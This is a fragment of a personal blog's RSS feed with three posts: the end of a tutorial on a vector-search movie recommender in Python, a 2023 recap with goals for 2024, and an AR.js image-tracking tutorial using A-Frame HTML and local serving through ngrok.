                <span class="nb">str</span><span class="p">(</span><span class="n">value</span><span class="p">),</span> <span class="n">embeddings</span><span class="p">[</span><span class="n">idx</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span>
            <span class="p">))</span>
    <span class="n">index</span><span class="o">.</span><span class="n">upsert</span><span class="p">(</span><span class="n">to_send</span><span class="p">)</span>
</code></pre>
</div>

<p>That's it!</p>

<h2 id="interacting-with-vectors">Interacting with Vectors</h2>

<p>We use the <code>trakt_id</code> for the movie as the ID for the vectors and upsert it into the index. </p>

<p>To find similar items, we will first have to map the name of the movie to its trakt_id, get the embeddings we have for that id and then perform a similarity search. 
It is possible that this additional step of mapping could be avoided by storing information as metadata in the index.</p>

<div class="codehilite">
<pre><span></span><code><span class="k">def</span> <span class="nf">get_trakt_id</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">title</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
  <span class="n">rec</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="n">df</span><span class="p">[</span><span class="s2">&quot;title&quot;</span><span class="p">]</span><span class="o">.</span><span class="n">str</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span><span class="o">==</span><span class="n">movie_name</span><span class="o">.</span><span class="n">lower</span><span class="p">()]</span>
  <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">rec</span><span class="o">.</span><span class="n">trakt_id</span><span class="o">.</span><span class="n">values</span><span class="o">.</span><span class="n">tolist</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;multiple values found... </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">rec</span><span class="o">.</span><span class="n">trakt_id</span><span class="o">.</span><span class="n">values</span><span class="p">)</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">rec</span><span class="p">)):</span>
      <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;[</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s2">] </span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="s1">&#39;title&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()[</span><span class="n">x</span><span class="p">]</span><span class="si">}</span><span class="s2"> (</span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="s1">&#39;year&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()[</span><span class="n">x</span><span class="p">]</span><span class="si">}</span><span class="s2">) - </span><span class="si">{</span><span class="n">rec</span><span class="p">[</span><span class="s1">&#39;overview&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">tolist</span><span class="p">()</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>
      <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;===&quot;</span><span class="p">)</span>
      <span class="n">z</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">input</span><span class="p">(</span><span class="s2">&quot;Choose No: &quot;</span><span class="p">))</span>
      <span class="k">return</span> <span class="n">rec</span><span class="o">.</span><span class="n">trakt_id</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="n">z</span><span class="p">]</span>
  <span class="k">return</span> <span class="n">rec</span><span class="o">.</span><span class="n">trakt_id</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">get_vector_value</span><span class="p">(</span><span class="n">trakt_id</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
  <span class="n">fetch_response</span> <span class="o">=</span> <span class="n">index</span><span class="o">.</span><span class="n">fetch</span><span class="p">(</span><span class="n">ids</span><span class="o">=</span><span class="p">[</span><span class="nb">str</span><span class="p">(</span><span class="n">trakt_id</span><span class="p">)])</span>
  <span class="k">return</span> <span class="n">fetch_response</span><span class="p">[</span><span class="s2">&quot;vectors&quot;</span><span class="p">][</span><span class="nb">str</span><span class="p">(</span><span class="n">trakt_id</span><span class="p">)][</span><span class="s2">&quot;values&quot;</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">query_vectors</span><span class="p">(</span><span class="n">vector</span><span class="p">:</span> <span class="nb">list</span><span class="p">,</span> <span class="n">top_k</span><span class="p">:</span> <span class="nb">int</span> <span class="o">=</span> <span class="mi">20</span><span class="p">,</span> <span class="n">include_values</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="kc">False</span><span class="p">,</span> <span class="n">include_metada</span><span class="p">:</span> <span class="nb">bool</span> <span class="o">=</span> <span class="kc">True</span><span class="p">):</span>
  <span class="n">query_response</span> <span class="o">=</span> <span class="n">index</span><span class="o">.</span><span class="n">query</span><span class="p">(</span>
      <span class="n">queries</span><span class="o">=</span><span class="p">[</span>
          <span class="p">(</span><span class="n">vector</span><span class="p">),</span>
      <span class="p">],</span>
      <span class="n">top_k</span><span class="o">=</span><span class="n">top_k</span><span class="p">,</span>
      <span class="n">include_values</span><span class="o">=</span><span class="n">include_values</span><span class="p">,</span>
      <span class="n">include_metadata</span><span class="o">=</span><span class="n">include_metada</span>
  <span class="p">)</span>
  <span class="k">return</span> <span class="n">query_response</span>

<span class="k">def</span> <span class="nf">query2ids</span><span class="p">(</span><span class="n">query_response</span><span class="p">):</span>
  <span class="n">trakt_ids</span> <span class="o">=</span> <span class="p">[]</span>
  <span class="k">for</span> <span class="n">match</span> <span class="ow">in</span> <span class="n">query_response</span><span class="p">[</span><span class="s2">&quot;results&quot;</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="s2">&quot;matches&quot;</span><span class="p">]:</span>
    <span class="n">trakt_ids</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">match</span><span class="p">[</span><span class="s2">&quot;id&quot;</span><span class="p">]))</span>
  <span class="k">return</span> <span class="n">trakt_ids</span>

<span class="k">def</span> <span class="nf">get_deets_by_trakt_id</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">trakt_id</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
  <span class="n">df</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="n">df</span><span class="p">[</span><span class="s2">&quot;trakt_id&quot;</span><span class="p">]</span><span class="o">==</span><span class="n">trakt_id</span><span class="p">]</span>
  <span class="k">return</span> <span class="p">{</span>
      <span class="s2">&quot;title&quot;</span><span class="p">:</span> <span class="n">df</span><span class="o">.</span><span class="n">title</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
      <span class="s2">&quot;overview&quot;</span><span class="p">:</span> <span class="n">df</span><span class="o">.</span><span class="n">overview</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
      <span class="s2">&quot;runtime&quot;</span><span class="p">:</span> <span class="n">df</span><span class="o">.</span><span class="n">runtime</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
      <span class="s2">&quot;year&quot;</span><span class="p">:</span> <span class="n">df</span><span class="o">.</span><span class="n">year</span><span class="o">.</span><span class="n">values</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
  <span class="p">}</span>
</code></pre>
</div>

<h3 id="testing-it-out">Testing it Out</h3>

<div class="codehilite">
<pre><span></span><code><span class="n">movie_name</span> <span class="o">=</span> <span class="s2">&quot;Now You See Me&quot;</span>

<span class="n">movie_trakt_id</span> <span class="o">=</span> <span class="n">get_trakt_id</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">movie_name</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">movie_trakt_id</span><span class="p">)</span>
<span class="n">movie_vector</span> <span class="o">=</span> <span class="n">get_vector_value</span><span class="p">(</span><span class="n">movie_trakt_id</span><span class="p">)</span>
<span class="n">movie_queries</span> <span class="o">=</span> <span class="n">query_vectors</span><span class="p">(</span><span class="n">movie_vector</span><span class="p">)</span>
<span class="n">movie_ids</span> <span class="o">=</span> <span class="n">query2ids</span><span class="p">(</span><span class="n">movie_queries</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">movie_ids</span><span class="p">)</span>

<span class="k">for</span> <span class="n">trakt_id</span> <span class="ow">in</span> <span class="n">movie_ids</span><span class="p">:</span>
  <span class="n">deets</span> <span class="o">=</span> <span class="n">get_deets_by_trakt_id</span><span class="p">(</span><span class="n">df</span><span class="p">,</span> <span class="n">trakt_id</span><span class="p">)</span>
  <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&quot;</span><span class="si">{</span><span class="n">deets</span><span class="p">[</span><span class="s1">&#39;title&#39;</span><span class="p">]</span><span class="si">}</span><span class="s2"> (</span><span class="si">{</span><span class="n">deets</span><span class="p">[</span><span class="s1">&#39;year&#39;</span><span class="p">]</span><span class="si">}</span><span class="s2">): </span><span class="si">{</span><span class="n">deets</span><span class="p">[</span><span class="s1">&#39;overview&#39;</span><span class="p">]</span><span class="si">}</span><span class="s2">&quot;</span><span class="p">)</span>
</code></pre>
</div>

<p>Output:</p>

<pre><code>55786
[55786, 18374, 299592, 662622, 6054, 227458, 139687, 303950, 70000, 129307, 70823, 5766, 23950, 137696, 655723, 32842, 413269, 145994, 197990, 373832]
Now You See Me (2013): An FBI agent and an Interpol detective track a team of illusionists who pull off bank heists during their performances and reward their audiences with the money.
Trapped (1949): U.S. Treasury Department agents go after a ring of counterfeiters.
Brute Sanity (2018): An FBI-trained neuropsychologist teams up with a thief to find a reality-altering device while her insane ex-boss unleashes bizarre traps to stop her.
The Chase (2017): Some FBI agents hunt down a criminal
Surveillance (2008): An FBI agent tracks a serial killer with the help of three of his would-be victims - all of whom have wildly different stories to tell.
Marauders (2016): An untraceable group of elite bank robbers is chased by a suicidal FBI agent who uncovers a deeper purpose behind the robbery-homicides.
Miracles for Sale (1939): A maker of illusions for magicians protects an ingenue likely to be murdered.
Deceptors (2005): A Ghostbusters knock-off where a group of con-artists create bogus monsters to scare up some cash. They run for their lives when real spooks attack.
The Outfit (1993): A renegade FBI agent sparks an explosive mob war between gangster crime lords Legs Diamond and Dutch Schultz.
Bank Alarm (1937): A federal agent learns the gangsters he's been investigating have kidnapped his sister.
The Courier (2012): A shady FBI agent recruits a courier to deliver a mysterious package to a vengeful master criminal who has recently resurfaced with a diabolical plan.
After the Sunset (2004): An FBI agent is suspicious of two master thieves, quietly enjoying their retirement near what may - or may not - be the biggest score of their careers.
Down Three Dark Streets (1954): An FBI Agent takes on the three unrelated cases of a dead agent to track down his killer.
The Executioner (1970): A British intelligence agent must track down a fellow spy suspected of being a double agent.
Ace of Cactus Range (1924): A Secret Service agent goes undercover to unmask the leader of a gang of diamond thieves.
Firepower (1979): A mercenary is hired by the FBI to track down a powerful recluse criminal, a woman is also trying to track him down for her own personal vendetta.
Heroes &amp; Villains (2018): an FBI agent chases a thug to great tunes
Federal Fugitives (1941): A government agent goes undercover in order to apprehend a saboteur who caused a plane crash.
Hell on Earth (2012): An FBI Agent on the trail of a group of drug traffickers learns that their corruption runs deeper than she ever imagined, and finds herself in a supernatural - and deadly - situation.
Spies (2015): A secret agent must perform a heist without time on his side
</code></pre>

<p>For now, I am happy with the recommendations.</p>

<h2 id="simple-ui">Simple UI</h2>

<p>The code for the flask app can be found on GitHub: <a rel="noopener" target="_blank" href="https://github.com/navanchauhan/FlixRec">navanchauhan/FlixRec</a> or on my <a rel="noopener" target="_blank" href="https://pi4.navan.dev/gitea/navan/FlixRec">Gitea instance</a></p>

<p>I quickly whipped up a simple Flask App to deal with problems of multiple movies sharing the title, and typos in the search query.</p>

<h3 id="home-page">Home Page</h3>

<p><img src="/assets/flixrec/home.png" alt="Home Page" /></p>

<h3 id="handling-multiple-movies-with-same-title">Handling Multiple Movies with Same Title</h3>

<p><img src="/assets/flixrec/multiple.png" alt="Multiple Movies with Same Title" /></p>

<h3 id="results-page">Results Page</h3>

<p><img src="/assets/flixrec/results.png" alt="Results Page" /></p>

<p>Includes additional filter options</p>

<p><img src="/assets/flixrec/filter.png" alt="Advance Filtering Options" /></p>

<p>Test it out at <a rel="noopener" target="_blank" href="https://flixrec.navan.dev">https://flixrec.navan.dev</a></p>

<h2 id="current-limittations">Current Limittations</h2>

<ul>
<li>Does not work well with popular franchises</li>
<li>No Genre Filter</li>
</ul>

<h2 id="future-addons">Future Addons</h2>

<ul>
<li>Include Cast Data
<ul>
<li>e.g. If it sees a movie with Tom Hanks and Meg Ryan, then it will boost similar movies including them</li>
<li>e.g. If it sees the movie has been directed my McG, then it will boost similar movies directed by them</li>
</ul></li>
<li>REST API</li>
<li>TV Shows</li>
<li>Multilingual database</li>
<li>Filter based on popularity: The data already exists in the indexed database</li>
</ul>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2024-01-05-hello-20224.html
			</guid>
			<title>
				Hello 2024
			</title>
			<description>
				Recap of 2023, and my goals for 2024
			</description>
			<link>https://web.navan.dev/posts/2024-01-05-hello-20224.html</link>
			<pubDate>Fri, 05 Jan 2024 23:16:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="hello-2024">Hello 2024</h1>

<p><code>2024 % 4 == 0</code></p>

<h2 id="2023">2023</h2>

<p>Another revolution around the sun! This was a pretty fun and interesting year. I got to work on some interesting projects, and learned a lot.</p>

<p>I am going to try and use my GitHub activity to recap.</p>

<h3 id="spring">Spring</h3>

<ul>
<li>I helped a friend modernize their Larvael codebase. Dockerized it for easier development, and added a CD pipeline. (Probably going to be released by end of this year)</li>
<li>I joined <a rel="noopener" target="_blank" href="http://hindsightjournal.org">Hindsight Journal</a>, a creative non-fiction club at CU as their "webmaster", and we moved away from Squarespace to our own custom static site generator.</li>
<li>I did some YunoHost stuff with listmonk, and audiobookshelf</li>
<li>I found out that the instructor for my astrophysics class was behind <a rel="noopener" target="_blank" href="https://twitter.com/threebodybot">@ThreeBodyBot</a>. For my final project, I ported the codebase to run in the browser itself. Ended up getting an A 😎</li>
<li>Won HackCU, my first hackathon in a few years. We built a timeboxing app similar to <a rel="noopener" target="_blank" href="http://usemotion.com">Motion</a> /  <a rel="noopener" target="_blank" href="https://reclaim.ai">Reclaim.AI</a>. Cleaned up the codebase and published it to the App Store as <a rel="noopener" target="_blank" href="https://timeslicerx.prudent.studio">TimeSlicerX</a>, making it my first published app.</li>
<li>Got into Mountain Biking!</li>
</ul>

<h3 id="summer">Summer</h3>

<p>Summer was more relaxing. I mainly worked on some maintenance patches for my projects, and did some more freelancing stuff.</p>

<ul>
<li>Learned Tkinter for a client's project. Working with PyInstaller to create signed executables for both macOS and Windows was not fun. Also, the stock Tk look on Windows is terrible.</li>
<li>Continued working on a research project using Computer Vision in analysing a lateral flow assay. Tried porting it to use OpenCV.js, but it wasn't reliable enough. I might look into directly working with OpenCV/Vision Framework for an iOS app.</li>
</ul>

<h3 id="fall">Fall</h3>

<ul>
<li>Won a couple more hackathons. I might summarize my hackathon experience in a different blog post.</li>
<li>I gave up being the "webmaster" for Hindsight, and decided to become the club's business manager. We moved to Wix.</li>
<li>Had fun re-learning all the reverse engineering stuff for my Systems class.</li>
<li>Tried Advent of Code. Will be back :~)</li>
<li>Created an alternative to Simplify.Jobs and worked on autofilling resumes without needing a browser extension (Current solution does require that you disable a few security flags for this to work). One solution might be to wrap our website as an Electron application.</li>
<li>Started working on <a rel="noopener" target="_blank" href="https://github.com/navanchauhan/swift-gopher">swift-gopher</a> - a swift library for both client/server implementations for the Gopher protocol.</li>
<li>Ended up using swift-gopher to build <a rel="noopener" target="_blank" href="https://web.navan.dev/iGopherBrowser">iGopherBrowser</a> - a modern gopher client for iOS / macOS. This is my first publically availablle macOS app.</li>
</ul>

<p>After the end of the fall semester I ended up getting my wisdom tooth removed. Took me out for 10 days.</p>

<p>I also did a ton of other stuff, but I am not sure how much I want to be sharing on my blog here. Maybe as I write more I will get more comfortable with sharing more information.</p>

<h2 id="2024">2024</h2>

<p>So, what are my plans for 2024? <strong>Learn. Build. Ship.</strong></p>

<p>Other goals:</p>

<ul>
<li>Continue homebrewing</li>
<li>Learn assembly</li>
<li>Get better at designing stuff</li>
<li>Improve my handwriting</li>
<li>Do a deeper dive into the math of Machine/Deep Learning, before I get back into it</li>
</ul>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-08-01-Natural-Feature-Tracking-ARJS.html
			</guid>
			<title>
				Introduction to AR.js and Natural Feature Tracking
			</title>
			<description>
				An introduction to AR.js and NFT
			</description>
			<link>https://web.navan.dev/posts/2020-08-01-Natural-Feature-Tracking-ARJS.html</link>
			<pubDate>Sat, 01 Aug 2020 15:43:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="introduction-to-arjs-and-natural-feature-tracking">Introduction to AR.js and Natural Feature Tracking</h1>

<h2 id="arjs">AR.js</h2>

<p>AR.js is a lightweight library for Augmented Reality on the Web, coming with features like Image Tracking, Location based AR and Marker tracking. It is the easiest option for cross-browser augmented reality. </p>

<p>The same code works for iOS, Android, Desktops and even VR Browsers!</p>

<p>It was initially created by Jerome Etienne and is now maintained by Nicolo Carpignoli and the AR-js Organisation</p>

<h2 id="nft">NFT</h2>

<p>Usually for augmented reality you need specialised markers, like this Hiro marker (notice the thick non-aesthetic borders 🤢)</p>

<p><img src="https://upload.wikimedia.org/wikipedia/commons/4/48/Hiro_marker_ARjs.png" alt="" /></p>

<p>This is called marker based tracking where the code knows what to look for. NFT or Natural Feature Tracing converts normal images into markers by extracting 'features' from it, this way you can use any image of your liking!</p>

<p>I'll be using my GitHub profile picture </p>

<p><img src="/images/me.jpeg" alt="" /></p>

<h2 id="creating-the-marker">Creating the Marker!</h2>

<p>First we need to create the marker files required by AR.js for NFT. For this we use Carnaux's repository 'NFT-Marker-Creator'.</p>

<pre><code>$ git clone https://github.com/Carnaux/NFT-Marker-Creator

Cloning into 'NFT-Marker-Creator'...
remote: Enumerating objects: 79, done.
remote: Counting objects: 100% (79/79), done.
remote: Compressing objects: 100% (72/72), done.
remote: Total 580 (delta 10), reused 59 (delta 7), pack-reused 501
Receiving objects: 100% (580/580), 9.88 MiB | 282.00 KiB/s, done.
Resolving deltas: 100% (262/262), done.

$ cd NFT-Makrer-Creator
</code></pre>

<h3 id="install-the-dependencies">Install the dependencies</h3>

<pre><code>$ npm install

npm WARN nodegenerator@1.0.0 No repository field.

added 67 packages from 56 contributors and audited 67 packages in 2.96s

1 package is looking for funding
  run `npm fund` for details

found 0 vulnerabilities



   ╭────────────────────────────────────────────────────────────────╮
   │                                                                │
   │      New patch version of npm available! 6.14.5 → 6.14.7       │
   │   Changelog: https://github.com/npm/cli/releases/tag/v6.14.7   │
   │               Run npm install -g npm to update!                │
   │                                                                │
   ╰────────────────────────────────────────────────────────────────╯


</code></pre>

<h3 id="copy-the-target-marker-to-the-folder">Copy the target marker to the folder</h3>

<pre><code>$ cp ~/CodingAndStuff/ARjs/me.png .
</code></pre>

<h3 id="generate-marker">Generate Marker</h3>

<pre><code>$ node app.js -i me.png

Confidence level: [ * * * * * ] 5/5 || Entropy: 5.24 || Current max: 5.17 min: 4.6

Do you want to continue? (Y/N)
y
writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!
[info] 
Commands: 
[info] --
Generator started at 2020-08-01 16:01:41 +0580
[info] Tracking Extraction Level = 2
[info] MAX_THRESH  = 0.900000
[info] MIN_THRESH  = 0.550000
[info] SD_THRESH   = 8.000000
[info] Initialization Extraction Level = 1
[info] SURF_FEATURE = 100
[info]  min allow 3.699000.
[info] Image DPI (1): 3.699000
[info] Image DPI (2): 4.660448
[info] Image DPI (3): 5.871797
[info] Image DPI (4): 7.398000
[info] Image DPI (5): 9.320896
[info] Image DPI (6): 11.743593
[info] Image DPI (7): 14.796000
[info] Image DPI (8): 18.641792
[info] Image DPI (9): 23.487186
[info] Image DPI (10): 29.592001
[info] Image DPI (11): 37.283585
[info] Image DPI (12): 46.974373
[info] Image DPI (13): 59.184002
[info] Image DPI (14): 72.000000
[info] Generating ImageSet...
[info]    (Source image xsize=568, ysize=545, channels=3, dpi=72.0).
[info]   Done.
[info] Saving to asa.iset...
[info]   Done.
[info] Generating FeatureList...

...

[info] (46, 44) 5.871797[dpi]
[info] Freak features - 23[info] ========= 23 ===========
[info] (37, 35) 4.660448[dpi]
[info] Freak features - 19[info] ========= 19 ===========
[info] (29, 28) 3.699000[dpi]
[info] Freak features - 9[info] ========= 9 ===========
[info]   Done.
[info] Saving FeatureSet3...
[info]   Done.
[info] Generator finished at 2020-08-01 16:02:02 +0580
--

Finished marker creation!
Now configuring demo! 

Finished!
To run demo use: 'npm run demo'
</code></pre>

<p>Now we have the required files in the output folder</p>

<pre><code>$ ls output

me.fset  me.fset3 me.iset
</code></pre>

<h2 id="creating-the-html-page">Creating the HTML Page</h2>

<p>Create a new file called <code>index.html</code> in your project folder. This is the basic template we are going to use. Replace <code>me</code> with the root filename of your image, for example <code>NeverGonnaGiveYouUp.png</code> will become <code>NeverGonnaGiveYouUp</code>. Make sure you have copied all three files from the output folder in the previous step to the root of your project folder.</p>

<div class="codehilite">
<pre><span></span><code><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://cdn.jsdelivr.net/gh/aframevr/aframe@1c2407b26c61958baa93967b5412487cd94b290b/dist/aframe-master.min.js&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://raw.githack.com/AR-js-org/AR.js/master/aframe/build/aframe-ar-nft.js&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>

<span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span>
<span class="w">  </span><span class="p">.</span><span class="nc">arjs-loader</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">height</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
<span class="w">    </span><span class="k">width</span><span class="p">:</span><span class="w"> </span><span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
<span class="w">    </span><span class="k">position</span><span class="p">:</span><span class="w"> </span><span class="kc">absolute</span><span class="p">;</span>
<span class="w">    </span><span class="k">top</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w">    </span><span class="k">left</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w">    </span><span class="k">background-color</span><span class="p">:</span><span class="w"> </span><span class="nb">rgba</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="mf">0.8</span><span class="p">);</span>
<span class="w">    </span><span class="k">z-index</span><span class="p">:</span><span class="w"> </span><span class="mi">9999</span><span class="p">;</span>
<span class="w">    </span><span class="k">display</span><span class="p">:</span><span class="w"> </span><span class="kc">flex</span><span class="p">;</span>
<span class="w">    </span><span class="k">justify-content</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w">    </span><span class="k">align-items</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w">  </span><span class="p">}</span>

<span class="w">  </span><span class="p">.</span><span class="nc">arjs-loader</span><span class="w"> </span><span class="nt">div</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">text-align</span><span class="p">:</span><span class="w"> </span><span class="kc">center</span><span class="p">;</span>
<span class="w">    </span><span class="k">font-size</span><span class="p">:</span><span class="w"> </span><span class="mf">1.25</span><span class="kt">em</span><span class="p">;</span>
<span class="w">    </span><span class="k">color</span><span class="p">:</span><span class="w"> </span><span class="kc">white</span><span class="p">;</span>
<span class="w">  </span><span class="p">}</span>
<span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span>

<span class="p">&lt;</span><span class="nt">body</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;margin : 0px; overflow: hidden;&quot;</span><span class="p">&gt;</span>
  <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;arjs-loader&quot;</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>Calculating Image Descriptors....<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
  <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
  <span class="p">&lt;</span><span class="nt">a-scene</span>
    <span class="na">vr-mode-ui</span><span class="o">=</span><span class="s">&quot;enabled: false;&quot;</span>
    <span class="na">renderer</span><span class="o">=</span><span class="s">&quot;logarithmicDepthBuffer: true;&quot;</span>
    <span class="na">embedded</span>
    <span class="na">arjs</span><span class="o">=</span><span class="s">&quot;trackingMethod: best; sourceType: webcam;debugUIEnabled: false;&quot;</span>
  <span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">a-nft</span>
      <span class="na">type</span><span class="o">=</span><span class="s">&quot;nft&quot;</span>
      <span class="na">url</span><span class="o">=</span><span class="s">&quot;./me&quot;</span>
      <span class="na">smooth</span><span class="o">=</span><span class="s">&quot;true&quot;</span>
      <span class="na">smoothCount</span><span class="o">=</span><span class="s">&quot;10&quot;</span>
      <span class="na">smoothTolerance</span><span class="o">=</span><span class="s">&quot;.01&quot;</span>
      <span class="na">smoothThreshold</span><span class="o">=</span><span class="s">&quot;5&quot;</span>
    <span class="p">&gt;</span>

    <span class="p">&lt;/</span><span class="nt">a-nft</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">a-entity</span> <span class="na">camera</span><span class="p">&gt;&lt;/</span><span class="nt">a-entity</span><span class="p">&gt;</span>
  <span class="p">&lt;/</span><span class="nt">a-scene</span><span class="p">&gt;</span>
<span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</code></pre>
</div>

<p>In this we are creating a AFrame scene and we are telling it that we want to use NFT Tracking. The amazing part about using AFrame is that we are able to use all AFrame objects!</p>

<h2 id="adding-a-simple-box">Adding a simple box</h2>

<p>Let us add a simple box!</p>

<div class="codehilite">
<pre><span></span><code><span class="p">&lt;</span><span class="nt">a-nft</span> <span class="err">.....</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">a-box</span> <span class="na">position</span><span class="o">=</span><span class="s">&#39;100 0.5 -180&#39;</span> <span class="na">material</span><span class="o">=</span><span class="s">&#39;opacity: 0.5; side: double&#39;</span> <span class="na">scale</span><span class="o">=</span><span class="s">&quot;100 100 100&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">a-box</span><span class="p">&gt;</span>
<span class="p">&lt;/</span><span class="nt">a-nft</span><span class="p">&gt;</span>
</code></pre>
</div>

<p>Now to test it out we will need to create a simple server, I use Python's inbuilt <code>SimpleHTTPServer</code> alongside <code>ngrok</code> </p>

<p>In one terminal window, <code>cd</code> to the project directory. Currently your project folder should have 4 files, <code>index.html</code>,  <code>me.fset3</code>, <code>me.fset</code> and <code>me.iset</code></p>

<p>Open up two terminal windows and <code>cd</code> into your project folder then run the following commands to start up your server.</p>

<p>In the first terminal window start the Python Server</p>

<pre><code>$ cd ~/CodingAndStuff/ARjs
$ python2 -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

</code></pre>

<p>In the other window run <code>ngrok</code> ( Make sure you have installed it prior to running this step )</p>

<pre><code>$ ngrok http 8000

</code></pre>

<p><img src="/assets/posts/arjs/01-ngrok.png" alt="" /></p>

<p>Now copy the url to your phone and try running the example </p>

<p><img src="/assets/posts/arjs/02-box-demo.gif" alt="" /></p>

<p>👏 Congratulations! You just built an Augmented Reality experience using AR.js and AFrame</p>

<h2 id="adding-a-torus-knot-in-the-box">Adding a Torus-Knot in the box</h2>

<p>Edit your <code>index.html</code> </p>

<div class="codehilite">
<pre><span></span><code><span class="p">&lt;</span><span class="nt">a-nft</span> <span class="err">..</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">a-box</span> <span class="err">..</span><span class="p">&gt;</span>
        <span class="p">&lt;</span><span class="nt">a-torus-knot</span> <span class="na">radius</span><span class="o">=</span><span class="s">&#39;0.26&#39;</span> <span class="na">radius-tubular</span><span class="o">=</span><span class="s">&#39;0.05&#39;</span> <span class="p">&gt;&lt;/</span><span class="nt">a-torus-knot</span><span class="p">&gt;</span>
    <span class="p">&lt;/</span> <span class="nt">a-box</span><span class="p">&gt;</span>
<span class="p">&lt;/</span> <span class="nt">a-nft</span><span class="p">&gt;</span>
</code></pre>
</div>

<p><img src="/assets/posts/arjs/03-knot.png" alt="" /></p>

<h2 id="where-are-the-gifs">Where are the GIFs?</h2>

<p>Now that we know how to place a box in the scene and add a torus knot in it, what do we do next? We bring the classic internet back!</p>

<p><code>AFrame GIF Shader</code> is a gif shader for A-Frame created by mayognaise.</p>

<h3 id="first-things-first">First things first</h3>

<p>Add <code>&lt;script src="https://rawgit.com/mayognaise/aframe-gif-shader/master/dist/aframe-gif-shader.min.js"&gt;&lt;/script&gt;</code> to <code>&lt;head&gt;</code></p>

<p>Change the box's material to add the GIF shader</p>

<div class="codehilite">
<pre><span></span><code>...
